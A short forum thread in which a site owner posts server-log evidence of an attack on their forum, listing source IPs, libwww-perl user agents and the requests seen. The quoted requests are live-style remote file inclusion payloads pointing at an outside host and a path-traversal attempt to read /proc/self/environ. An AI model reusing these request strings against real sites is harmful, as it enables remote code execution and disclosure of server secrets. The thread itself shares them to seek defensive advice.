Hacking attempt today

Not sure if this is any help to anyone
I have had someone trying to hack several parts of my forums today

Ips used
188.165.242.211
190.228.29.70
64.92.209.138
89.108.67.91

User agents
libwww-perl/5.811
libwww-perl/5.812
libwww-perl/5.803
libwww-perl/5.837

Examples of hits
/?page=http://nwmbcms.marketaccess.ca/images/banners/ID-RFI.txt??

/forum/adminLogin.php?config[forum_installed]=../../../../../../../../../../../../../../../proc/self/environ%00

/forum/adminLogin.php?config[forum_installed]=http://nwmbcms.marketaccess.ca/images/banners/myid.jpg?

Probably nothing to worry about. But I would rather see what you guys say here, just on the off chance it is something malicious

People try to hack everything all the time. I get a daily log of 'root' login attempts to my server totalling in the 100s every day.

Im still jumpy after the code injection last year
I thought it only best to ask on here, on the off chance the morons have found a new way of injecting the forums
With my luck I would be first in line and last to find out